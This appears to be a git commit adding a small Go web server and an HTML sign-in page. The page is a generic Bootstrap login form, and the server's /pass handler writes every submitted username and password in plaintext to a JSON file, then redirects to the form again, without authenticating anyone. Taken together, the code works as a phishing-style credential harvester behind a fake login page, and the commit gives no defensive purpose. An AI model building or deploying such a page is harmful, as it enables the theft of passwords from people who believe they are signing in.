initial
This commit is contained in:
parent
16ca114a05
commit
56bc88847f
|
@ -0,0 +1,39 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Bootstrap 101 Template</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<link href="/s/bootstrap/css/bootstrap.min.css" rel="stylesheet" media="screen">
|
||||
<link href="/s/bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet" media="screen">
|
||||
<style>
|
||||
.pw {
|
||||
padding-top: 100px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container pw">
|
||||
<div class="row">
|
||||
<form class="form offset4 span3" method="post" action="/pass">
|
||||
<div class="input-prepend span2">
|
||||
<span class="add-on">
|
||||
<i class="icon-user"></i>
|
||||
</span>
|
||||
<input type="text" name="username" placeholder="username"/>
|
||||
</div>
|
||||
|
||||
<div class="input-prepend input-append span2">
|
||||
<span class="add-on">
|
||||
<i class="icon-lock"></i>
|
||||
</span>
|
||||
<input type="password" class="" name="password" placeholder="password"></input>
|
||||
<button class="btn" type="submit">Sign in</button>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script src="http://code.jquery.com/jquery-latest.js"></script>
|
||||
<script src="/s/bootstrap/js/bootstrap.min.js"></script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,66 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"log"
|
||||
"net/http"
|
||||
"sync"
|
||||
"text/template"
|
||||
"io/ioutil"
|
||||
)
|
||||
|
||||
type Cred struct {
|
||||
Name string
|
||||
Password string
|
||||
}
|
||||
|
||||
var creds = make([]Cred, 0)
|
||||
|
||||
var m = sync.Mutex{}
|
||||
|
||||
var addr = flag.String("addr", ":8000", "http service address")
|
||||
var static_files = flag.String("static", "./static", "location of static files")
|
||||
var db_file = flag.String("db", "db.json", "output database")
|
||||
var homeTempl = template.Must(template.ParseFiles("index.html"))
|
||||
|
||||
func homeHandler(c http.ResponseWriter, req *http.Request) {
|
||||
homeTempl.Execute(c, req.Host)
|
||||
}
|
||||
|
||||
func passHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
un := req.FormValue("username")
|
||||
pw := req.FormValue("password")
|
||||
c := Cred{un, pw}
|
||||
m.Lock()
|
||||
defer m.Unlock()
|
||||
creds = append(creds, c)
|
||||
b, err := json.Marshal(creds)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
err = ioutil.WriteFile(*db_file, b, 0644)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
http.Redirect(resp, req, "/", http.StatusTemporaryRedirect)
|
||||
}
|
||||
|
||||
func main() {
|
||||
flag.Parse()
|
||||
b, err := ioutil.ReadFile(*db_file)
|
||||
if err != nil {
|
||||
log.Fatal("Problem opening db file", err)
|
||||
}
|
||||
err = json.Unmarshal(b, &creds)
|
||||
if err != nil {
|
||||
log.Fatal("Problem parsing db file", err)
|
||||
}
|
||||
http.HandleFunc("/", homeHandler)
|
||||
http.HandleFunc("/pass", passHandler)
|
||||
http.Handle("/s/", http.StripPrefix("/s/",
|
||||
http.FileServer(http.Dir(*static_files))))
|
||||
if err := http.ListenAndServe(*addr, nil); err != nil {
|
||||
log.Fatal("ListenAndServe:", err)
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
Binary file not shown.
After Width: | Height: | Size: 8.6 KiB |
Binary file not shown.
After Width: | Height: | Size: 12 KiB |
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
Loading…
Reference in New Issue